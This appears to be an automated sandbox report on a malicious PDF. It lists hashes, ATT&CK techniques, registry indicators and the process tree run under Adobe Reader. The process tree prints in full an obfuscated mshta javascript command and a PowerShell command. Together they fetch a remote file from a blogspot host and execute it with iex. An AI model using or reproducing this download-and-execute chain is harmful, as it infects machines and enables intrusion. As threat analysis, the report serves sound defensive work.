b8b296fc5cecd8516deca8154bd68a7172b12d6572e1cec21eec444271c3f3a8

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
17/03/2025, 11:42

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General

Target

1b1a8d3ff270bb9a5b3f1aa59453c3f7d509eaa65e4df517493d236b7acdb903.pdf
Size

39KB
MD5

b77cf9ae7bea425d8a5d42eacee9d226
SHA1

ee9c30b16aee8039e681b26c5d6297be6497c723
SHA256

1b1a8d3ff270bb9a5b3f1aa59453c3f7d509eaa65e4df517493d236b7acdb903
SHA512

8ddab66e3a4259d1900016267f71f0bb727b6304c7ece1d4529cfd32eb55f25d013dd839828e86829b4d029741331e674e612e3051430481a4b631914018f26a
SSDEEP

384:PXwVVcX8YbmWG3cdW0nwcP3r+8cQe1nva3:/xMYbWWjPCTQe1i3

Score

3^/10

discovery

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2200	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1712	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2200	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1712	AcroRd32.exe
1712	AcroRd32.exe
1712	AcroRd32.exe
1712	AcroRd32.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 1580	1712	AcroRd32.exe	31
PID 1712 wrote to memory of 1580	1712	AcroRd32.exe	31
PID 1712 wrote to memory of 1580	1712	AcroRd32.exe	31
PID 1712 wrote to memory of 1580	1712	AcroRd32.exe	31
PID 1580 wrote to memory of 2200	1580	mshta.exe	32
PID 1580 wrote to memory of 2200	1580	mshta.exe	32
PID 1580 wrote to memory of 2200	1580	mshta.exe	32
PID 1580 wrote to memory of 2200	1580	mshta.exe	32

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\1b1a8d3ff270bb9a5b3f1aa59453c3f7d509eaa65e4df517493d236b7acdb903.pdf"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" "javascript:var Ifw = ['Shell.Application', 'SHELLEXECUTE', 'powershell', '-ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm ht' + 't' + 'ps://' + 'marchlkalanew6' + '.b' + 'l' + 'og' + 'spot.c' + 'om' + '/lundchikha.doc) | . iex;Start-Sleep -Seconds 7;', '', 'open', 0], def = ['Scripting.FileSystemObject', 'DeleteFile', 'WScript.ScriptFullName'], ghi = new ActiveXObject(Ifw[0]); ghi[Ifw[1]](Ifw[2], Ifw[3], Ifw[4], Ifw[5], Ifw[6]);close()"
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1580
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm https://marchlkalanew6.blogspot.com/lundchikha.doc) | . iex;Start-Sleep -Seconds 7;
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

Filesize
3KB

MD5
7df32f061b4e336929b56da29e4d167b

SHA1
6236dc6311134dbad6bc29c69d132b76ab111e79

SHA256
9572dc3b16b6b94b6e02ca1c8f9c5e8b5d86e8d1cdc2bdf40b39127436393f49

SHA512
71dd951879eed5e687f2d7f67fff6f7c404d1b77ec79ac393180cdc1a5f8e93773a40adddef759d1cb7136dd8aa7cfca4a287fbff352e0bd8c46f48dc3b1d7e0

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